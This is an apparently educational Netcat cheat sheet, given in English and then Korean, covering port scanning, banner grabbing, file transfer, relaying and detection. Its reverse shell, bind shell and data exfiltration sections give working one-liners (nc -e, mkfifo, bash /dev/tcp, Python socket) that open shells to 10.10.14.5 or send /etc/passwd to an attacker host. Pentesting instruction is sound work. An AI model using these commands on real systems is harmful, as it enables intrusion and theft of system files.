Netcat (nc) is often called the “Swiss Army Knife” of networking. It is a simple yet incredibly versatile utility that reads and writes data across network connections using TCP or UDP protocols. Security professionals rely on it extensively for everything from basic connectivity testing to crafting reverse shells during penetration tests.
Basic Syntax
1
| nc [options] [hostname] [port]
|
A simple connection example:
This connects to port 22 (SSH) on the target host, allowing you to interact with the service directly.
Key Options
| Option |
Description |
-l |
Listen mode (server mode) |
-p |
Specify local port number |
-v |
Verbose output |
-vv |
Very verbose output |
-n |
Skip DNS resolution (numeric only) |
-z |
Zero-I/O mode (scanning without sending data) |
-w |
Set timeout (seconds) |
-u |
Use UDP instead of TCP |
-e |
Execute a program after connection |
-k |
Keep listening after client disconnects |
-q |
Quit after EOF on stdin with specified delay |
Port Scanning
Netcat can perform basic port scanning, which is useful when tools like Nmap are unavailable.
Single Port Scan
1
| nc -zv 192.168.1.100 80
|
Port Range Scan
1
| nc -zv 192.168.1.100 20-100
|
Scan Specific Ports
1
| nc -zv 192.168.1.100 22 80 443 8080
|
UDP Port Scan
1
| nc -zuv 192.168.1.100 53 161 500
|
Note: For large-scale scanning, Nmap is significantly more efficient and feature-rich. Use Netcat scanning only when other tools are not available.
Banner Grabbing
Banner grabbing reveals service information running on a target port.
1
2
3
4
5
6
7
8
| # Grab SSH banner
echo "" | nc -v -n -w1 192.168.1.100 22
# Grab HTTP banner
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
# Grab SMTP banner
nc -v 192.168.1.100 25
|
Chat / Simple Messaging
Netcat can be used to set up a basic two-way communication channel between machines.
On the listener (Server):
On the client:
Once connected, both sides can type messages and communicate in real-time.
File Transfer
One of Netcat’s most practical uses is transferring files between systems, especially in environments where SCP or FTP is unavailable.
Sending a file (Receiver listens first):
1
2
3
4
5
| # Receiver (listening)
nc -lvp 4444 > received_file.txt
# Sender
nc 192.168.1.100 4444 < file_to_send.txt
|
Sending a directory (using tar):
1
2
3
4
5
| # Receiver
nc -lvp 4444 | tar xvf -
# Sender
tar cvf - /path/to/directory | nc 192.168.1.100 4444
|
Transferring with compression:
1
2
3
4
5
| # Receiver
nc -lvp 4444 | gunzip > received_file.txt
# Sender
gzip -c file_to_send.txt | nc 192.168.1.100 4444
|
Reverse Shell
This is one of the most critical use cases in penetration testing. A reverse shell makes the target machine initiate a connection back to the attacker, which is essential for bypassing firewalls that block inbound connections.
Attacker (Listener):
Target (connects back to attacker):
1
2
3
4
5
| # Using -e option (traditional netcat)
nc -e /bin/bash 10.10.14.5 4444
# If -e is not available (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
|
Common Reverse Shell Alternatives (when nc -e is unavailable):
Using Bash:
1
| bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
|
Using Python:
1
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
|
Bind Shell
Unlike a reverse shell, a bind shell opens a port on the target and waits for the attacker to connect.
Target (opens a listening shell):
1
| nc -lvp 4444 -e /bin/bash
|
Attacker (connects to target):
Warning: Bind shells are easier to detect and block by firewalls since they require an open inbound port on the target.
Simple HTTP Server
Netcat can serve a basic HTTP response for quick testing.
1
2
3
| while true; do
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello from Netcat</h1>" | nc -lvp 8080 -q 1
done
|
Proxy / Port Forwarding
Netcat can act as a simple relay to forward traffic between ports.
Using named pipes:
1
2
| mkfifo /tmp/pipe
nc -lvp 8080 < /tmp/pipe | nc target_host 80 > /tmp/pipe
|
This forwards all traffic from local port 8080 to target_host:80.
Netcat Variants
Different systems ship with different versions of Netcat, each with slightly different features.
| Variant |
Key Differences |
| GNU Netcat |
Supports -e for command execution |
| OpenBSD Netcat (ncat) |
No -e, but supports -X for proxy, -d for backgrounding |
| Ncat (Nmap’s version) |
SSL support, access control, proxy chaining |
Ncat (Enhanced Netcat from Nmap Project)
Ncat offers additional security features:
1
2
3
4
5
6
7
8
9
10
11
| # Encrypted listener with SSL
ncat --ssl -lvp 4444
# Connect with SSL
ncat --ssl 192.168.1.100 4444
# Allow only specific IP
ncat -lvp 4444 --allow 10.10.14.5
# Proxy chaining
ncat --proxy proxy_host:8080 --proxy-type http target_host 80
|
Practical Pentesting Examples
1. Service Enumeration
1
2
3
4
5
6
7
8
| # Check if a web server is running
echo "GET / HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80
# Check SMTP relay
nc -v target 25
HELO test
MAIL FROM:<test@test.com>
RCPT TO:<victim@target.com>
|
2. Data Exfiltration
1
2
3
4
5
| # On attacker machine
nc -lvp 9999 > exfil_data.txt
# On target machine
cat /etc/passwd | nc attacker_ip 9999
|
3. Persistent Listener (with -k)
1
2
| # Keep listening even after client disconnects
nc -lvkp 4444
|
4. Connection Testing Through Firewalls
1
2
3
4
5
| # Test if a specific port is reachable
nc -zv -w3 target 443
# Test UDP connectivity
nc -zuv -w3 target 53
|
Detection and Defense
As a defender, it is important to know how Netcat usage can be detected:
- Process monitoring: Look for
nc or ncat processes with suspicious arguments (especially -e or -l).
- Network monitoring: Watch for unusual outbound connections, especially from non-standard ports.
- File integrity: Monitor for the creation of named pipes (
mkfifo) or suspicious files in /tmp.
- SIEM rules: Alert on patterns like reverse shell command syntax in process creation logs.
1
2
3
4
5
| # Example: Find running netcat processes
ps aux | grep -E "(nc|ncat|netcat)" | grep -v grep
# Check for listening netcat instances
ss -tlnp | grep nc
|
Summary
Netcat’s strength lies in its simplicity and versatility. While dedicated tools like Nmap (scanning), SCP (file transfer), or Metasploit (exploitation) offer more advanced features, Netcat remains indispensable as a lightweight, always-available tool that can handle a wide range of networking tasks in a pinch. Every penetration tester should be fluent in its usage.
| Use Case |
Command Pattern |
| Port Scan |
nc -zv host port-range |
| Banner Grab |
echo "" \| nc -v host port |
| File Transfer |
nc -lvp port > file / nc host port < file |
| Reverse Shell |
Listener: nc -lvp port / Target: nc -e /bin/bash host port |
| Chat |
nc -lvp port ↔ nc host port |
| Proxy |
nc -lvp port < pipe \| nc host port > pipe |
Netcat(nc)은 “네트워킹의 스위스 아미 나이프”라고 불리는 도구다. TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단하지만 매우 다용도의 유틸리티 프로그램이다. 보안 전문가들은 기본적인 연결 테스트부터 침투 테스트 중 리버스 쉘 생성까지 다양한 용도로 이 도구를 광범위하게 사용한다.
기본 문법
간단한 연결 예시:
대상 호스트의 22번 포트(SSH)에 연결하여 서비스와 직접 상호작용할 수 있다.
주요 옵션
| 옵션 |
설명 |
-l |
리슨 모드 (서버 모드) |
-p |
로컬 포트 번호 지정 |
-v |
상세 출력 |
-vv |
매우 상세한 출력 |
-n |
DNS 해석 생략 (숫자만 사용) |
-z |
Zero-I/O 모드 (데이터 전송 없이 스캔) |
-w |
타임아웃 설정 (초) |
-u |
TCP 대신 UDP 사용 |
-e |
연결 후 프로그램 실행 |
-k |
클라이언트 연결 해제 후에도 계속 리슨 |
-q |
stdin EOF 후 지정된 지연 시간 후 종료 |
포트 스캔
Nmap과 같은 도구를 사용할 수 없을 때 Netcat으로 기본적인 포트 스캔을 수행할 수 있다.
단일 포트 스캔
1
| nc -zv 192.168.1.100 80
|
포트 범위 스캔
1
| nc -zv 192.168.1.100 20-100
|
특정 포트 스캔
1
| nc -zv 192.168.1.100 22 80 443 8080
|
UDP 포트 스캔
1
| nc -zuv 192.168.1.100 53 161 500
|
참고: 대규모 스캔의 경우 Nmap이 훨씬 효율적이고 기능이 풍부하다. Netcat 스캔은 다른 도구를 사용할 수 없을 때만 사용하자.
배너 그래빙
배너 그래빙은 대상 포트에서 실행 중인 서비스 정보를 확인하는 기법이다.
1
2
3
4
5
6
7
8
| # SSH 배너 확인
echo "" | nc -v -n -w1 192.168.1.100 22
# HTTP 배너 확인
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
# SMTP 배너 확인
nc -v 192.168.1.100 25
|
채팅 / 간단한 메시징
Netcat으로 두 머신 간의 기본적인 양방향 통신 채널을 만들 수 있다.
리스너 (서버) 측:
클라이언트 측:
연결되면 양쪽에서 메시지를 입력하여 실시간으로 통신할 수 있다.
파일 전송
Netcat의 가장 실용적인 용도 중 하나는 시스템 간 파일 전송이다. 특히 SCP나 FTP를 사용할 수 없는 환경에서 유용하다.
파일 전송 (수신자가 먼저 리슨):
1
2
3
4
5
| # 수신자 (리슨)
nc -lvp 4444 > received_file.txt
# 발신자
nc 192.168.1.100 4444 < file_to_send.txt
|
디렉토리 전송 (tar 사용):
1
2
3
4
5
| # 수신자
nc -lvp 4444 | tar xvf -
# 발신자
tar cvf - /path/to/directory | nc 192.168.1.100 4444
|
압축 전송:
1
2
3
4
5
| # 수신자
nc -lvp 4444 | gunzip > received_file.txt
# 발신자
gzip -c file_to_send.txt | nc 192.168.1.100 4444
|
리버스 쉘
침투 테스트에서 가장 핵심적인 사용 사례 중 하나다. 리버스 쉘은 대상 머신이 공격자에게 역으로 연결을 시작하게 만들어 인바운드 연결을 차단하는 방화벽을 우회하는 데 필수적이다.
공격자 (리스너):
대상 (공격자에게 역연결):
1
2
3
4
5
| # -e 옵션 사용 (전통적인 netcat)
nc -e /bin/bash 10.10.14.5 4444
# -e 옵션이 없는 경우 (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
|
일반적인 리버스 쉘 대안 (nc -e를 사용할 수 없을 때):
Bash 사용:
1
| bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
|
Python 사용:
1
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
|
바인드 쉘
리버스 쉘과 달리 바인드 쉘은 대상에서 포트를 열고 공격자의 연결을 대기한다.
대상 (리스닝 쉘 오픈):
1
| nc -lvp 4444 -e /bin/bash
|
공격자 (대상에 연결):
주의: 바인드 쉘은 대상에 인바운드 포트를 열어야 하므로 방화벽에 의해 탐지 및 차단되기 쉽다.
간단한 HTTP 서버
빠른 테스트를 위해 Netcat으로 기본적인 HTTP 응답을 제공할 수 있다.
1
2
3
| while true; do
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello from Netcat</h1>" | nc -lvp 8080 -q 1
done
|
프록시 / 포트 포워딩
Netcat은 포트 간 트래픽을 전달하는 간단한 릴레이 역할을 할 수 있다.
Named Pipe 사용:
1
2
| mkfifo /tmp/pipe
nc -lvp 8080 < /tmp/pipe | nc target_host 80 > /tmp/pipe
|
로컬 포트 8080의 모든 트래픽을 target_host:80으로 포워딩한다.
Netcat 변형 버전
다른 시스템에는 약간 다른 기능을 가진 서로 다른 버전의 Netcat이 탑재되어 있다.
| 변형 |
주요 차이점 |
| GNU Netcat |
명령 실행을 위한 -e 지원 |
| OpenBSD Netcat (ncat) |
-e 없음, 프록시용 -X, 백그라운드용 -d 지원 |
| Ncat (Nmap 프로젝트) |
SSL 지원, 접근 제어, 프록시 체이닝 |
Ncat (Nmap 프로젝트의 향상된 Netcat)
Ncat은 추가적인 보안 기능을 제공한다:
1
2
3
4
5
6
7
8
9
10
11
| # SSL 암호화 리스너
ncat --ssl -lvp 4444
# SSL로 연결
ncat --ssl 192.168.1.100 4444
# 특정 IP만 허용
ncat -lvp 4444 --allow 10.10.14.5
# 프록시 체이닝
ncat --proxy proxy_host:8080 --proxy-type http target_host 80
|
실제 침투 테스트 예시
1. 서비스 열거
1
2
3
4
5
6
7
8
| # 웹 서버 확인
echo "GET / HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80
# SMTP 릴레이 확인
nc -v target 25
HELO test
MAIL FROM:<test@test.com>
RCPT TO:<victim@target.com>
|
2. 데이터 유출
1
2
3
4
5
| # 공격자 머신
nc -lvp 9999 > exfil_data.txt
# 대상 머신
cat /etc/passwd | nc attacker_ip 9999
|
3. 지속적 리스너 (-k 사용)
1
2
| # 클라이언트 연결 해제 후에도 계속 리슨
nc -lvkp 4444
|
4. 방화벽을 통한 연결 테스트
1
2
3
4
5
| # 특정 포트 도달 가능 여부 테스트
nc -zv -w3 target 443
# UDP 연결 테스트
nc -zuv -w3 target 53
|
탐지 및 방어
방어자로서 Netcat 사용이 어떻게 탐지될 수 있는지 아는 것이 중요하다:
- 프로세스 모니터링: 의심스러운 인자(특히
-e나 -l)를 가진 nc 또는 ncat 프로세스를 확인한다.
- 네트워크 모니터링: 비표준 포트에서의 비정상적인 아웃바운드 연결을 감시한다.
- 파일 무결성:
/tmp에서 named pipe(mkfifo) 생성이나 의심스러운 파일을 모니터링한다.
- SIEM 규칙: 프로세스 생성 로그에서 리버스 쉘 명령 구문 패턴에 대해 알림을 설정한다.
1
2
3
4
5
| # 예시: 실행 중인 netcat 프로세스 찾기
ps aux | grep -E "(nc|ncat|netcat)" | grep -v grep
# 리스닝 중인 netcat 인스턴스 확인
ss -tlnp | grep nc
|
요약
Netcat의 강점은 단순함과 다용도성에 있다. Nmap(스캔), SCP(파일 전송), Metasploit(익스플로잇)과 같은 전용 도구가 더 고급 기능을 제공하지만, Netcat은 다양한 네트워킹 작업을 처리할 수 있는 가볍고 항상 사용 가능한 도구로서 여전히 필수적이다.
| 사용 사례 |
명령 패턴 |
| 포트 스캔 |
nc -zv host port-range |
| 배너 그래빙 |
echo "" \| nc -v host port |
| 파일 전송 |
nc -lvp port > file / nc host port < file |
| 리버스 쉘 |
리스너: nc -lvp port / 대상: nc -e /bin/bash host port |
| 채팅 |
nc -lvp port ↔ nc host port |
| 프록시 |
nc -lvp port < pipe \| nc host port > pipe |